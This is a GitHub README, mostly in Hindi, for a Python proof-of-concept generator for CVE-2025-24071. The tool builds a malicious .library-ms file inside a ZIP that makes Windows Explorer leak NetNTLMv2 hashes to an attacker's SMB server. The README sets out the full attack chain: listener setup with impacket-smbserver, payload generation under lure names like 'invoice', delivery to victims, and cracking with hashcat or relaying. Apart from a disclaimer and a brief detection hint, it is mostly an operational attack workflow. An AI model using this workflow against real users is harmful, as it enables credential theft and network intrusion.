
CVE-2025-24071 के लिए निर्भरता-मुक्त Python PoC जनरेटर जो Windows Explorer NTLM हैश डिस्क्लोज़र को ट्रिगर करने के लिए ZIP में एक दुर्भावनापूर्ण .library-ms फ़ाइल बनाता है।
⚠️ अस्वीकरण: यह टूल केवल शैक्षिक उद्देश्यों और अधिकृत पेनेट्रेशन टेस्टिंग के लिए है। इसका उपयोग केवल उन सिस्टम के विरुद्ध करें जिनका आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। अनधिकृत उपयोग अवैध है।
Windows File Explorer कुछ फ़ाइल प्रकारों को फ़ोल्डर व्यू में दिखाई देते ही स्वचालित रूप से पार्स कर लेता है, बिना किसी उपयोगकर्ता इंटरैक्शन जैसे डबल-क्लिक के। प्रभावित संस्करण .library-ms फ़ाइलों को ठीक से मान्य नहीं कर पाते, जो किसी मनमाने रिमोट SMB पथ की ओर इंगित करने वाले सर्च कनेक्टर को परिभाषित कर सकती हैं।
जब Explorer किसी दुर्भावनापूर्ण .library-ms फ़ाइल वाले फ़ोल्डर को रेंडर करता है (जैसे कि ZIP/RAR आर्काइव निकालने के तुरंत बाद), तो यह "library" स्थान को हल करने के लिए चुपचाप हमलावर-नियंत्रित UNC पथ से कनेक्ट करने का प्रयास करता है। यह SMB कनेक्शन प्रयास पीड़ित के NetNTLMv2 हैश को ले जाता है, जिसे निर्दिष्ट होस्ट पर ट्रैफ़िक कैप्चर करने वाला हमलावर (जैसे impacket-smbserver या Responder के साथ) ऑफ़लाइन क्रैक करने या रिले करने का प्रयास कर सकता है।
यह रिपॉज़िटरी इस भेद्यता के लिए एक सार्वजनिक PoC जनरेटर का न्यूनतम, निर्भरता-मुक्त पुनर्लेखन है: यह केवल Python मानक लाइब्रेरी का उपयोग करके दुर्भावनापूर्ण .library-ms फ़ाइल बनाता है और उसे एक ZIP में पैकेज करता है।
एक .library-ms फ़ाइल एक XML दस्तावेज़ है जो Windows Explorer को बताती है कि किसी रिमोट या स्थानीय स्थान की सामग्री को "library" के रूप में प्रदर्शित करे। इसका <simpleLocation><url> एलिमेंट किसी UNC पथ (\\<host>\<share>) की ओर इंगित कर सकता है।
प्रभावित संस्करणों में, Explorer इस स्थान को फ़ोल्डर प्रदर्शित होते ही हल कर लेता है — फ़ोल्डर व्यू में फ़ाइल दिखाई देने के अलावा किसी डबल-क्लिक या स्पष्ट क्रिया की आवश्यकता नहीं होती (उदाहरण के लिए, इसे शामिल करने वाला आर्काइव निकालने के तुरंत बाद)।
impacket-smbserver, Responder, आदि) चल रहा हो।.library-ms फ़ाइल उत्पन्न की जाती है, जो \\<attacker_ip>\<share> की ओर इंगित करती है।1. Start an SMB listener on the attacker machine
2. Generate a .library-ms file pointing to \\<attacker_ip>\<share>
3. Package it into a ZIP archive
4. Deliver the ZIP to the victim (upload feature, email, share, etc.)
5. Victim extracts the ZIP and Explorer renders the folder
6. Explorer resolves the UNC path -> SMB auth attempt -> NetNTLMv2 hash captured
7. Crack the hash offline (hashcat -m 5600) or relay it
os, sys, argparse, zipfile)पेलोड उत्पन्न करने के लिए किसी तृतीय-पक्ष निर्भरता की आवश्यकता नहीं है। हैश कैप्चर करने के लिए हमलावर पक्ष पर Impacket (impacket-smbserver) या Responder जैसे SMB लिसनर की आवश्यकता होती है।
git clone https://github.com/BardLaudian/CVE-2025-24071.git
cd CVE-2025-24071
usage: cve_2025_24071.py [-h] [-n NAME] [-i IP] [-s SHARE] [-o OUTDIR] [-a]
options:
-n NAME, --name NAME Output base filename (no extension)
-i IP, --ip IP Attacker IP to embed as the UNC path target
-s SHARE, --share SHARE Share name (default: shared)
-o OUTDIR, --outdir OUTDIR Output directory (default: current dir)
-a, --affected-versions Print the list of affected Windows versions and exit
python3 cve_2025_24071.py -n invoice -i 10.10.14.5
यह invoice.zip उत्पन्न करता है, जिसमें invoice.library-ms शामिल है जो \\10.10.14.5\shared की ओर इंगित करता है।
impacket-smbserver shared /tmp/smbshare -smb2support
python3 cve_2025_24071.py -n report -i 10.10.14.5 -s data -o ./payloads
python3 cve_2025_24071.py -a
.library-ms और समान स्वतः-पार्स होने वाले फ़ाइल प्रकारों के लिए स्कैन करें।.library-ms जनरेटर का निर्भरता-मुक्त संस्करण, कोई नई शोषण तकनीक नहीं| फ़ील्ड | मान |
|---|
| CVE | CVE-2025-24071 |
| प्रभावित | Windows 10 (1607–22H2), Windows 11 (22H2–24H2), Windows Server 2012 R2 – 2025 |
| प्रकार | Exposure of Sensitive Information to an Unauthorized Actor (CWE-200) |
| विशेषाधिकार | कोई नहीं (अप्रमाणित हमलावर; पीड़ित द्वारा फ़ाइल देखने/निकालने की आवश्यकता) |
| प्रभाव | NetNTLMv2 हैश डिस्क्लोज़र → ऑफ़लाइन क्रैकिंग या NTLM रिले |
| CVSS | 7.5 High (GitHub Advisory Database के अनुसार) / 6.5 (MSRC आधार) |
| पैच | मार्च 2025 Patch Tuesday संचयी अपडेट |